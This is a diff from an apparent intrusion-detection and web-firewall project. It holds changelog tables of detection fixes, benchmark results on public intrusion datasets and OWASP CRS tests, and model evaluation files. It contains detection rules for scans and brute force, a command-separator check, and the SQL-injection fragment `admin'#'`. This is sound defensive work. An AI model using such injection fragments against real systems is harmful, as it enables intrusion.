+ | V-19 | search-engine crawlers matched by user-agent AND published address range (`policy.verified_crawlers`) are watched, never acted on as an address; a behavioural challenge on a client that is not a browser becomes `policy.machine_challenge` (rate_limit); an established client polling the same endpoints with every request answered at a modest pace no longer trips the session tier |
607
+ | V-20 | sustained guessing: >= 120 short sessions on the 30-min horizon, >= 80 % to an endpoint already used, on an interactive login service (FTP, SSH, Telnet, RDP, VNC), from a source the site has not known for long (< 500 flows) - alarmed and blocked as brute force (the age gate after real traffic: CSE-CIC-IDS2018's exporter cuts established users' RDP sessions into short records) |
608
+ | V-21 | rows per (database, table, client) on both horizons against the client's own calibrated volume on that table (3x and +1,000 rows in ~5 min / +5,000 in ~1 h, peer guard) |
609
+ | V-22 | (1) the global scan tier fires above floor + 4x the site's own 1-hour level (seeded from the calibration window), and flags only scan-shaped sources (young, or failing at least half the time); at a milder surge (floor + 1.5x) only young sources that do nothing but fail. (2) The root cause of the block-safe false alarms: the campaign tier keeps a port's failed connects and its completed connections under two fingerprints, so an ordinary client's successes never cleared it - with one failed connect during a live scan it became a campaign member, block-safe. Successes now credit the port's failed-connect fingerprint too, and members must be scan-shaped. (3) 'short' flows (every UDP DNS / NTP exchange) no longer count as a scan or brute-force sign. |
610
+ | B-series | see docs/PERFORMANCE.md §8 status table |
611
+
612
+ ### 8.2 Found while re-testing the fixes (not in the original list)
613
+
614
+ | what | where | effect before | fix |
615
+ |---|---|---|---|
616
+ | a reference with 693-998 scores returned an infinite threshold | `decide.RollingReference.threshold`, `ConformalFPR.threshold` | a site profiled from fewer than 999 requests (e.g. a filtered bootstrap) never alarmed | the maximum is the threshold once n >= n_needed(alpha, 1/2), as the engine already assumed |
617
+ | 'short' flows (< 10 ms, <= 2 packets) counted as failures | `entity.family_rules` (brute force), `engine` established-machine test | every DNS / NTP exchange is that short: office workstations were named brute force and blocked (3-5 per run, 3 seeds) | 'short' is a scan sign only; brute force needs no-reply / reset, or volume on an authentication port |
618
+ | a destination flood renamed flows raised by other tiers | `engine.Guard.flows` | a slow scanner probing a host someone else flooded was named 'dos' and rate-limited instead of blocked | the flood names a flow only when the flood tier raised it or the source itself piles on |
619
+ | the 30-minute port walk was never named | `entity.family_rules` | slow scans stayed 'attack_generic' (monitor only) | named portscan (playbook A10's own signature) |
620
+ | a slow scan was alarmed only while some other attack made the whole site 'hot' | `engine.Guard.flows` | the old absolute global floor alarmed every failed connect site-wide (benign included); with it gone a lone slow scanner was missed | slow-scan rule: >= 20 attempts on the 30-min horizon, >= 80 % to never-used endpoints, >= 80 % failing, for sources the site has not known for long (< 500 flows) |
621
+ | an action took its confidence from one alarm and its name from another | `shield/layer.Layer._act` | a benign client with one generic block-safe alarm and one collateral 'dos' (its server was flooded) was rate-limited (hard lab: 1 per run) | an enforced action is named from the block-safe alarms only (hard lab: 0 benign acted on; attack enforcement unchanged) |
622
+ | members of an ICMP campaign (port 0) were block-safe | `engine.Guard.flows` | on SIMARGL 2021 during its scan, ~12k benign echo records without a reply were block-safe members of the ping-sweep fingerprint | an ICMP campaign's members are alarmed, not block-safe |
623
+ | the deterministic rules fired on established internal hosts | `engine.Guard.flows` | CSE-CIC-IDS2018: the flow exporter cuts established users' long RDP sessions into many short records (~82k benign records 'sustained guessing'); established hosts' unanswered lookups walk 'new' endpoints (~11k 'slow scan') | both rules only for sources the site has not known for long (< 500 flows; an attacker is caught long before) |
624
+ | a campaign fired without its own history ended at the first quiet window | `campaign.CampaignTracker._close` (my own first B8 fix) | a 500-host slow scan 0.90 -> 0.76 recall | off: the one-in-four adoption plus the CUSUM cap end lock-ins within ~2 h instead |
625
+
626
+ ### 8.3 HTTP edge and Go fast path (fixed in `http/canon.py`, `http/parse.py`, `http/sqlctx.py`, `shield/playbook.py`, `shield/rx.py`, `shield/database.py` `views` / `classify`, `go/dibaguard/{canon,parse,sqlctx,decide,sigs,sidecar}.go`)
627
+
628
+ | id | fix |
629
+ |---|---|
630
+ | V-01 | two views: the usual SQL view with comments folded, and a plain view with every comment kept, added whenever folding removed something |
631
+ | V-02 | line comments ended by a newline are stripped *before* whitespace is folded (canonicaliser and `database.views`) |
632
+ | V-03 | tab / LF / CR inside a URL scheme are deleted, as browsers do |
633
+ | V-04 | A19 accepts `[\s/]on…=` |
634
+ | V-05 | every occurrence of a duplicate JSON key is judged (`object_pairs_hook`) |
635
+ | V-06 | no per-container JSON cap; every multipart field is its own value; whole values within a 32 KB budget, payload-capable parts in a further 32 KB, the rest an `x:oversized` part; A22 judges every field in overlapping 960-character windows within 6,144 characters and returns a soft hit (alarm + challenge) when the budget runs out - never a silent pass. A crafted 1 MB request costs <= ~300 ms in Python, 25-45 ms in Go |
636
+ | V-07 | repeated headers are joined (cookies with `; `) in Python and Go; A22 reads Accept-Language |
637
+ | V-08 | Go builds the Python canonical text byte for byte (`canon.go`, `parse.go`; Python's NFKC and HTML-entity tables generated into `pytables_gen.go`); parity fixture of 1,398 requests: identical text and depth - the sidecar receives the Python text too |
638
+ | V-09 | the hard part of A22 runs inline in Go (`sqlctx.go`), verdict-identical on the fixture (384 hard hits) |
639
+ | V-18 | `classify` fallback: in string contexts a break-out needs nothing or real SQL before the comment / `;`; no fallback in numeric contexts; contractions do not open the A22 gate. Residue: prose quoting a comment marker (`'#'`) has the exact shape of `admin'#'` |
640
+ | B11 | `;`, `|`, `&`, backtick are no longer trigger bytes (an exact separator-plus-command check instead) and every signature has an exact prefilter: a browser User-Agent costs 4.3 us in `MatchSigs` instead of ~96 us |
641
+ | CPU | several playbook / database regexes were quadratic on crafted input (seconds per 16 KB): linear-time matchers in `shield/rx.py`, same answers |
642
+
643
+ ### 8.4 Re-measured on the fixed tree
644
+
645
+ **Bypass (canonicalisation fuzz, 3,000 cases, seed 7, `scripts/validate_canon_fuzz.py`)**
646
+
647
+ | | before | after |
648
+ |---|---|---|
649
+ | Python edge blocks | 72.5 % | 99.3 % |
650
+ | Go inline blocks | 68.4 % | 99.3 % |
651
+ | Go path (inline or sidecar) | 76.9 % | 99.3 % |
652
+ | Python blocks, Go path misses | 10.4 % | 0.0 % |
653
+ | Go blocks, Python misses | 14.9 % | 0.0 % |
654
+ | verdicts diverge | 32.8 % | 0.0 % |
655
+ | missed by every path | 12.7 % | 0.7 % (case-variant entity names browsers do not decode either; a newline / quote inside a multipart file name, which breaks the header itself) |
656
+
657
+ **OWASP CRS regression tests (4,138 attack / 1,054 negative, `scripts/validate_crs_local.py`)**: Python hard tiers
658
+ 15.1 % -> 14.7 % of all attack tests (PL1 SQLi 42.9 -> 43.2 %, XSS 34.0 -> 33.5 %, RCE 6.0 -> 5.6 %); hard tiers on
659
+ negative tests 4.8 % -> 4.3 %; Go inline 8.9 % -> 14.6 %, now equal to Python on negatives. The few CRS cases lost
660
+ were shell / XSS payloads the old over-broad A22 fallback caught by accident - the same fallback that caused V-18.
661
+ The Layer (model + session tier) alarmed on 97-100 % of the CRS negative tests on the intermediate tree: a
662
+ float32 rounding artefact (§8.2); 7.3 % after the fix (model challenges).
663
+
664
+ **Real benign / attack traffic (`scripts/validate_realtraffic.py`)**: zanbil.ir 80,234 benign requests - 0 blocked on
665
+ Python, Go inline and the Go path; SR-BH SQLi 60.8 % -> 63.8 %, Go now equal to Python; ModSecurity 2025 SQLi on the
666
+ Go path 48.2 % -> 53.1 % (Go inline alone was 29.0 %), equal to Python. English prose with an apostrophe (2,053
667
+ sentences rebuilt from the Python stdlib docstrings): blocked 5.80 % -> 2.09 % (the rest is technical text such as
668
+ `'encoding' -- ...`, `'#'`, doctests); ordinary review sentences 16/16 blocked -> 0/16.
669
+
670
+ **Harm to legitimate users (26 simulated hours of a shop, 3 seeds, ~4,230 users each, `scripts/validate_harm.py`)**
671
+
672
+ | per 1,000 users per day | before | after |
673
+ |---|---|---|
674
+ | blocked | 146.4 [140.3, 152.6] | **0.0 [0.0, 0.3]** |
675
+ | rate-limited | 0.0 | 0.0 |
676
+ | challenged (a JavaScript check) | 180.3 [173.7, 187.1] | 50.5 [46.8, 54.4] |
677
+ | refused inline | 56.4 [52.5, 60.6] | 0.24 (the declared AI crawler only, policy A05) |
678
+ | partner API clients / search crawler challenged | 5/5 and 1/1 per seed | 0 and 0 |
679
+
680
+ What remains challenged: users whose requests the HTTP model scores high (~25 %), and users brand new to the site
681
+ whose first requests fail on a path that is hot at that moment (a flash crowd hitting stale links).
682
+
683
+ **Reliability labs (seeds 1-2 on the fixed tree; the 3-seed benchmark is in `bench/benchmark.md`)**: every DB scenario
684
+ detected with the right response, 0 benign alarms; slow campaigns C1-C5 member recall 0.95-1.0 with 0 benign enforced;
685
+ office network 0 benign enforced (3-5 per run before the 'short'-flow fix); hard lab 0 benign acted on (1-2 per run
686
+ before); a lone slow scanner 0.88-0.93 of its probes alarmed (0.34-0.50 once the absolute global floor stopped
687
+ flagging every failed connect; 0.85 with it). Trade-off, stated plainly: a slow *distributed* scan among internet
688
+ background radiation is now found by the campaign tier in 6-17 minutes (it was < 1 minute while the absolute floor
689
+ alarmed every failed connect site-wide, including ~half of all benign source-minutes on real traffic).
690
+
691
+ **Real flows (Kaggle, `guard_jobs/validate_flows.py`)**: see §8.5.
692
+
693
+ ### 8.5 Real flows on Kaggle (CSE-CIC-IDS2018 AWS, SIMARGL 2021, LUFlow 2021)
694
+
695
+ | capture | benign source-minutes alarmed: before (validation) | after | after, block-safe only | after, without the global tiers 5-6 | attack source-minutes caught | source-minute AUROC |
696
+ |---|---|---|---|---|---|---|
697
+ | CSE-CIC-IDS2018 (AWS, Tue 20-02, DDoS) | 49.6 % | 6.77 % [6.61, 6.93] | 3.60 % | 3.04 % | 99.7 % | 0.9985 |
698
+ | SIMARGL 2021 (port scans) | 43.8 % | 24.07 % [23.77, 24.37] | 4.21 % | 1.03 % | 100.0 % | 0.9939 |
699
+ | LUFlow 2021 (temporal hold-out) | 10.5 % | 1.12 % [0.82, 1.51] | 1.06 % | 1.12 % | 10.3 % | 0.0657 |
700
+
701
+ Run `guard-validate-flows-final` (Kaggle CPU, the final tree, shipped models; calibration on each capture's own earlier
702
+ benign traffic, then every later flow scored in time order at α = 10⁻³; 95 % Wilson intervals). What the numbers say:
703
+
704
+ * **CSE-CIC-IDS2018**: the DDoS is caught on every source (99.7 % of attack source-minutes); the benign alarm rate fell
705
+ from about half of all source-minutes to the figure above. The remainder is evidence-tier alarms on established
706
+ internal hosts (RDP, DNS, proxy) whose traffic in the scored period differs from the two calibration hours.
707
+ * **SIMARGL 2021**: without the two global tiers the benign rate is about 1 %; the global tiers add the rest, during a
708
+ capture whose scored period is dominated by a 2-million-flow scan. The benign sources involved are *not* the scan's
709
+ targets (593 of
710
+ 188048 benign alarmed records come from scanned hosts); most sit on
711
+ one high port (57782) and on ICMP, traffic absent from the calibration window (the first quarter of the capture).
712
+ ICMP campaign members are no longer block-safe.
713
+ * **LUFlow 2021** (a temporal hold-out: the shipped models saw LUFlow 2020): the benign rate is close to the budget;
714
+ detection of its attack sources stays low - the capture's 'malicious' label marks sources by reputation, most of
715
+ whose flows look ordinary.
716
+ * The labs designed here meet the budget (`bench/benchmark.md`); these public captures do not yet - the most
717
+ important remaining work (§8.6). A longer calibration window (a day rather than hours) is the first lever.
718
+
719
+ ### 8.6 What is still open
720
+
721
+ * **Real-flow benign alarm rate above the budget** on public captures whose scored period differs strongly from the
722
+ calibration window (§8.5). The labs - designed here - meet the budget; these captures do not yet. It is the most
723
+ important remaining work.
724
+ * **V-17 memory** (3-3.6 KB per tracked source in Python, budget 300 B): documented; size `max_entities` to RAM, or
725
+ put the Go tiers in front and send only flagged / warm sources to Python. **B2**: re-calibration still runs on the
726
+ hot path (6-17 s once per 30 min of stream time). **B12**: chunk the HTTP embedding for batches over ~200 requests.
727
+ * **Detection delay of slow distributed scans** among background radiation: 6-17 minutes (campaign tier), §8.4.
728
+ * **Go A22 inline** costs ~100 us for a value containing quotes; huge forwarded bodies can exceed authz's default
729
+ 25 ms budget and fail open - raise `-budget` or lower `-max-body` when Envoy forwards bodies.
730
+ * **Prose quoting a comment marker** (`'#'`) still has the exact shape of `admin'#'` and is blocked (2.09 % of
731
+ technical docstring sentences with an apostrophe; 0 of the ordinary review sentences).
models/dbnet.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:5c12dab74ad712b43588e9ac0f60d6d1ff67d7a5144c4b6526f9ca8ea26bb7e7
3
+ size 3160300
models/dbnet.bin.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"buckets": {"dtype": "<i8", "shape": [1], "offset": 0, "nbytes": 8}, "emb_q": {"dtype": "|i1", "shape": [65536, 48], "offset": 8, "nbytes": 3145728}, "emb_scale": {"dtype": "<f4", "shape": [48], "offset": 3145736, "nbytes": 192}, "w1": {"dtype": "<f4", "shape": [64, 48], "offset": 3145928, "nbytes": 12288}, "b1": {"dtype": "<f4", "shape": [64], "offset": 3158216, "nbytes": 256}, "w2": {"dtype": "<f4", "shape": [7, 64], "offset": 3158472, "nbytes": 1792}, "b2": {"dtype": "<f4", "shape": [7], "offset": 3160264, "nbytes": 28}, "thr_1e3": {"dtype": "<f4", "shape": [1], "offset": 3160292, "nbytes": 4}, "thr_1e4": {"dtype": "<f4", "shape": [1], "offset": 3160296, "nbytes": 4}}
models/dbnet.npz ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:4d9534930fa6c62f03351e7ea25c4ec7f920521f99a73244d885d40717d0bbfa
3
+ size 2403349
models/dbnet_eval.json ADDED
@@ -0,0 +1,320 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "thresholds": {
3
+ "fpr1e-3": 0.2525147497653961,
4
+ "fpr1e-4": 0.3381993770599365
5
+ },
6
+ "train_templates": {
7
+ "attack": 52,
8
+ "benign": 21
9
+ },
10
+ "held_out": {
11
+ "attack": [
12
+ "destr.es",
13
+ "destr.sql_drop",
14
+ "inj.blind.str",
15
+ "inj.obf.char",
16
+ "inj.oob.num",
17
+ "inj.orderby.num",
18
+ "nosql.in_exists",
19
+ "nosql.ne",
20
+ "nosql.shell",
21
+ "priv.mysql",
22
+ "priv.pg",
23
+ "rce.es_script",
24
+ "rce.mongo",
25
+ "rce.oracle",
26
+ "recon.cassandra",
27
+ "recon.redis",
28
+ "unb.cql"
29
+ ],
30
+ "benign": [
31
+ "mongo.more",
32
+ "sql.cte",
33
+ "sql.lock",
34
+ "sql.proc",
35
+ "sql.window"
36
+ ]
37
+ },
38
+ "in_distribution": {
39
+ "n": 60000,
40
+ "benign": 40000,
41
+ "attack": 20000,
42
+ "model@fpr1e-3": {
43
+ "fpr": 7.5e-05,
44
+ "fpr_ci95": [
45
+ 3e-05,
46
+ 0.00022
47
+ ],
48
+ "tpr": 0.9886,
49
+ "tpr_ci95": [
50
+ 0.98698,
51
+ 0.98993
52
+ ],
53
+ "family_acc_on_detected": 0.9956,
54
+ "per_family_tpr": {
55
+ "injection": 0.9997,
56
+ "rce": 1.0,
57
+ "privilege": 1.0,
58
+ "destructive": 1.0,
59
+ "recon": 0.9316,
60
+ "unbounded": 1.0
61
+ },
62
+ "missed_templates": [
63
+ "inj.obf.tabs_plus",
64
+ "recon.es",
65
+ "recon.mssql"
66
+ ]
67
+ },
68
+ "model+signatures@fpr1e-3": {
69
+ "fpr": 0.000275,
70
+ "tpr": 1.0,
71
+ "per_family_tpr": {
72
+ "injection": 0.9997,
73
+ "rce": 1.0,
74
+ "privilege": 1.0,
75
+ "destructive": 1.0,
76
+ "recon": 1.0,
77
+ "unbounded": 1.0
78
+ }
79
+ },
80
+ "model@fpr1e-4": {
81
+ "fpr": 7.5e-05,
82
+ "fpr_ci95": [
83
+ 3e-05,
84
+ 0.00022
85
+ ],
86
+ "tpr": 0.9886,
87
+ "tpr_ci95": [
88
+ 0.98698,
89
+ 0.98993
90
+ ],
91
+ "family_acc_on_detected": 0.9956,
92
+ "per_family_tpr": {
93
+ "injection": 0.9997,
94
+ "rce": 1.0,
95
+ "privilege": 1.0,
96
+ "destructive": 1.0,
97
+ "recon": 0.9316,
98
+ "unbounded": 1.0
99
+ },
100
+ "missed_templates": [
101
+ "inj.obf.tabs_plus",
102
+ "recon.es",
103
+ "recon.mssql"
104
+ ]
105
+ },
106
+ "model+signatures@fpr1e-4": {
107
+ "fpr": 0.000275,
108
+ "tpr": 1.0,
109
+ "per_family_tpr": {
110
+ "injection": 0.9997,
111
+ "rce": 1.0,
112
+ "privilege": 1.0,
113
+ "destructive": 1.0,
114
+ "recon": 1.0,
115
+ "unbounded": 1.0
116
+ }
117
+ },
118
+ "signatures": {
119
+ "fpr": 0.0002,
120
+ "tpr": 0.9383,
121
+ "per_family_tpr": {
122
+ "injection": 0.9541,
123
+ "rce": 1.0,
124
+ "privilege": 1.0,
125
+ "destructive": 1.0,
126
+ "recon": 0.835,
127
+ "unbounded": 0.8407
128
+ },
129
+ "benign_false_templates": [
130
+ "sql.grammar",
131
+ "sql.grammar2"
132
+ ]
133
+ }
134
+ },
135
+ "unseen_templates": {
136
+ "n": 27658,
137
+ "benign": 7658,
138
+ "attack": 20000,
139
+ "model@fpr1e-3": {
140
+ "fpr": 0.054061,
141
+ "fpr_ci95": [
142
+ 0.04922,
143
+ 0.05935
144
+ ],
145
+ "tpr": 0.5754,
146
+ "tpr_ci95": [
147
+ 0.56854,
148
+ 0.58224
149
+ ],
150
+ "family_acc_on_detected": 0.6575,
151
+ "per_family_tpr": {
152
+ "injection": 0.997,
153
+ "rce": 0.3012,
154
+ "privilege": 0.7336,
155
+ "destructive": 0.6518,
156
+ "recon": 0.4419,
157
+ "unbounded": 0.3267
158
+ },
159
+ "missed_templates": [
160
+ "destr.es",
161
+ "destr.sql_drop",
162
+ "inj.obf.char",
163
+ "inj.orderby.num",
164
+ "priv.mysql",
165
+ "priv.pg",
166
+ "rce.es_script",
167
+ "rce.mongo",
168
+ "rce.oracle",
169
+ "recon.cassandra",
170
+ "recon.redis",
171
+ "unb.cql"
172
+ ]
173
+ },
174
+ "model+signatures@fpr1e-3": {
175
+ "fpr": 0.054061,
176
+ "tpr": 0.9862,
177
+ "per_family_tpr": {
178
+ "injection": 0.9982,
179
+ "rce": 1.0,
180
+ "privilege": 1.0,
181
+ "destructive": 1.0,
182
+ "recon": 0.9187,
183
+ "unbounded": 1.0
184
+ }
185
+ },
186
+ "model@fpr1e-4": {
187
+ "fpr": 0.054061,
188
+ "fpr_ci95": [
189
+ 0.04922,
190
+ 0.05935
191
+ ],
192
+ "tpr": 0.5632,
193
+ "tpr_ci95": [
194
+ 0.55631,
195
+ 0.57006
196
+ ],
197
+ "family_acc_on_detected": 0.6501,
198
+ "per_family_tpr": {
199
+ "injection": 0.9967,
200
+ "rce": 0.3012,
201
+ "privilege": 0.6607,
202
+ "destructive": 0.6518,
203
+ "recon": 0.4419,
204
+ "unbounded": 0.3267
205
+ },
206
+ "missed_templates": [
207
+ "destr.es",
208
+ "destr.sql_drop",
209
+ "inj.obf.char",
210
+ "inj.orderby.num",
211
+ "priv.mysql",
212
+ "priv.pg",
213
+ "rce.es_script",
214
+ "rce.mongo",
215
+ "rce.oracle",
216
+ "recon.cassandra",
217
+ "recon.redis",
218
+ "unb.cql"
219
+ ]
220
+ },
221
+ "model+signatures@fpr1e-4": {
222
+ "fpr": 0.054061,
223
+ "tpr": 0.9862,
224
+ "per_family_tpr": {
225
+ "injection": 0.9982,
226
+ "rce": 1.0,
227
+ "privilege": 1.0,
228
+ "destructive": 1.0,
229
+ "recon": 0.9187,
230
+ "unbounded": 1.0
231
+ }
232
+ },
233
+ "signatures": {
234
+ "fpr": 0.0,
235
+ "tpr": 0.97,
236
+ "per_family_tpr": {
237
+ "injection": 0.901,
238
+ "rce": 1.0,
239
+ "privilege": 1.0,
240
+ "destructive": 1.0,
241
+ "recon": 0.9187,
242
+ "unbounded": 1.0
243
+ },
244
+ "benign_false_templates": []
245
+ }
246
+ },
247
+ "unseen_templates_after_db_calibration": {
248
+ "n": 27658,
249
+ "benign": 7658,
250
+ "attack": 20000,
251
+ "model@own_fpr1e-3": {
252
+ "fpr": 0.0,
253
+ "fpr_ci95": [
254
+ 0.0,
255
+ 0.0005
256
+ ],
257
+ "tpr": 0.3628,
258
+ "tpr_ci95": [
259
+ 0.35616,
260
+ 0.36949
261
+ ],
262
+ "family_acc_on_detected": 0.7427,
263
+ "per_family_tpr": {
264
+ "injection": 0.7433,
265
+ "rce": 0.1899,
266
+ "privilege": 0.4302,
267
+ "destructive": 0.5537,
268
+ "recon": 0.2595,
269
+ "unbounded": 0.0
270
+ },
271
+ "missed_templates": [
272
+ "destr.es",
273
+ "destr.sql_drop",
274
+ "inj.obf.char",
275
+ "inj.oob.num",
276
+ "inj.orderby.num",
277
+ "nosql.in_exists",
278
+ "nosql.shell",
279
+ "priv.mysql",
280
+ "priv.pg",
281
+ "rce.es_script",
282
+ "rce.mongo",
283
+ "rce.oracle",
284
+ "recon.cassandra",
285
+ "recon.redis",
286
+ "unb.cql"
287
+ ]
288
+ },
289
+ "model+signatures@own_fpr1e-3": {
290
+ "fpr": 0.0,
291
+ "tpr": 0.9833,
292
+ "per_family_tpr": {
293
+ "injection": 0.9811,
294
+ "rce": 1.0,
295
+ "privilege": 1.0,
296
+ "destructive": 1.0,
297
+ "recon": 0.9187,
298
+ "unbounded": 1.0
299
+ }
300
+ },
301
+ "signatures": {
302
+ "fpr": 0.0,
303
+ "tpr": 0.97,
304
+ "per_family_tpr": {
305
+ "injection": 0.901,
306
+ "rce": 1.0,
307
+ "privilege": 1.0,
308
+ "destructive": 1.0,
309
+ "recon": 0.9187,
310
+ "unbounded": 1.0
311
+ },
312
+ "benign_false_templates": []
313
+ }
314
+ },
315
+ "latency_us_per_query_batch512": 84.7,
316
+ "shipped_thresholds": {
317
+ "fpr1e-3": 0.746738612651825,
318
+ "fpr1e-4": 0.746738851070404
319
+ }
320
+ }
models/entity_v1/lu_entity_detector.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:1a6637d3e9d3c5477bf187bdbba8907add3dce54c3f2ebf83082c06b12bb7f38
3
+ size 188976
models/entity_v1/lu_entity_detector.bin.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"feat": {"dtype": "<i2", "shape": [854], "offset": 0, "nbytes": 1708}, "border": {"dtype": "<f4", "shape": [854], "offset": 1708, "nbytes": 3416}, "tree_tests": {"dtype": "<i2", "shape": [686, 6], "offset": 5124, "nbytes": 8232}, "leaves": {"dtype": "<f4", "shape": [686, 64, 1], "offset": 13356, "nbytes": 175616}, "bias": {"dtype": "<f4", "shape": [1], "offset": 188972, "nbytes": 4}, "info": {"names": ["src_flows_h1", "src_bytes_in_h1", "src_pkts_in_h1", "src_noreply_h1", "src_synonly_h1", "src_rst_h1", "src_newport_h1", "src_newhost_h1", "src_repeat_h1", "src_short_h1", "src_flows_h2", "src_bytes_in_h2", "src_pkts_in_h2", "src_noreply_h2", "src_synonly_h2", "src_rst_h2", "src_newport_h2", "src_newhost_h2", "src_repeat_h2", "src_short_h2", "src_flows_h3", "src_bytes_in_h3", "src_pkts_in_h3", "src_noreply_h3", "src_synonly_h3", "src_rst_h3", "src_newport_h3", "src_newhost_h3", "src_repeat_h3", "src_short_h3", "gap_s", "gap_ewma_s", "dst_flows_h1", "dst_noreply_h1", "dst_newsrc_h1", "dst_flows_h2"], "classes": ["benign", "attack"], "meta": {"view": "lu", "variant": "entity", "kind": "detector", "version": "entity_v1", "features": "ent", "temperature": 1.437708006438535, "thresholds": {"0.01": 0.3436230228238628, "0.001": 2.175221739031599, "0.0001": 3.270954186872018}, "entity_horizons_s": [10.0, 120.0, 1800.0], "made": "2026-10-31", "data": "licence-clean (roadmap 16)", "testbeds": ["lu2020", "lu2021"], "licences": {"lu2020": "cc-by-sa-4.0", "lu2021": "cc-by-sa-4.0"}, "notice": {"lu2020": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "Mills, Marnerides, Broadbent, Race, 'Practical Intrusion Detection of Emerging Threats', IEEE TNSM 2021, doi:10.1109/TNSM.2021.3091517 (LUFlow, CC BY-SA 4.0)"}, "lu2021": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "as lu2020"}}}}}
models/entity_v1/lu_entity_detector.npz ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:40551e47183adabef8cd794d9f8e0459de875d0b3429e22d6233bad7994d13e2
3
+ size 152441
models/entity_v1/nf_entity_detector.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a5dcc8fc649b2198b25ce11bde369bd2ec6a74511806a49956b7af1ec1312004
3
+ size 274400
models/entity_v1/nf_entity_detector.bin.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"feat": {"dtype": "<i2", "shape": [1066], "offset": 0, "nbytes": 2132}, "border": {"dtype": "<f4", "shape": [1066], "offset": 2132, "nbytes": 4264}, "tree_tests": {"dtype": "<i2", "shape": [1000, 6], "offset": 6396, "nbytes": 12000}, "leaves": {"dtype": "<f4", "shape": [1000, 64, 1], "offset": 18396, "nbytes": 256000}, "bias": {"dtype": "<f4", "shape": [1], "offset": 274396, "nbytes": 4}, "info": {"names": ["src_flows_h1", "src_bytes_in_h1", "src_pkts_in_h1", "src_noreply_h1", "src_synonly_h1", "src_rst_h1", "src_newport_h1", "src_newhost_h1", "src_repeat_h1", "src_short_h1", "src_flows_h2", "src_bytes_in_h2", "src_pkts_in_h2", "src_noreply_h2", "src_synonly_h2", "src_rst_h2", "src_newport_h2", "src_newhost_h2", "src_repeat_h2", "src_short_h2", "src_flows_h3", "src_bytes_in_h3", "src_pkts_in_h3", "src_noreply_h3", "src_synonly_h3", "src_rst_h3", "src_newport_h3", "src_newhost_h3", "src_repeat_h3", "src_short_h3", "gap_s", "gap_ewma_s", "dst_flows_h1", "dst_noreply_h1", "dst_newsrc_h1", "dst_flows_h2"], "classes": ["benign", "attack"], "meta": {"view": "nf", "variant": "entity", "kind": "detector", "version": "entity_v1", "features": "ent", "temperature": 8.584647936115552, "thresholds": {"0.01": -5.20153365093779, "0.001": -2.6772514295498695, "0.0001": 0.019886346676685207}, "entity_horizons_s": [10.0, 120.0, 1800.0], "made": "2026-10-31", "data": "licence-clean (roadmap 16)", "testbeds": ["aci2023", "appraise", "cic2018aws", "simargl2021", "simargl2022"], "licences": {"aci2023": "cc-by-4.0", "appraise": "cc-by-4.0", "cic2018aws": "cic-unb-cite", "simargl2021": "cc-by-4.0", "simargl2022": "cc-by-4.0"}, "notice": {"aci2023": {"licence": "cc-by-4.0", "origin": "kaggle:emilynack/aci-iot-network-traffic-dataset-2023", "cite": "Nack et al., 'ACI IoT Network Traffic Dataset 2023', MILCOM 2024; IEEE DataPort doi:10.21227/qacj-3x32"}, "appraise": {"licence": "cc-by-4.0", "origin": "kaggle:ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset", "cite": "ITTI Sp. z o.o., APPRAISE H2020 real labelled NetFlow dataset (Kaggle), CC BY 4.0"}, "cic2018aws": {"licence": "cic-unb-cite", "origin": "https://cse-cic-ids2018.s3.ca-central-1.amazonaws.com (AWS open data, publisher's copy)", "cite": "Sharafaldin, Habibi Lashkari, Ghorbani, ICISSP 2018; CSE-CIC-IDS2018 on AWS, https://registry.opendata.aws/cse-cic-ids2018"}, "simargl2021": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2021-network-intrusion-detection-dataset", "cite": "Mihailescu et al., 'The Proposition and Evaluation of the RoEduNet-SIMARGL2021 Network Intrusion Detection Dataset', Sensors 21(13):4319, 2021"}, "simargl2022": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2022", "cite": "H2020 SIMARGL, SIMARGL2022 network traffic dataset (Kaggle h2020simargl/simargl2022), CC BY 4.0"}}}}}
models/entity_v1/nf_entity_detector.npz ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:d4da899350701012da641d98bbf6ec20464755315b8d5dab0ee542e16e7fc3b4
3
+ size 221205
models/seq_v1/nf_entity_mono.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
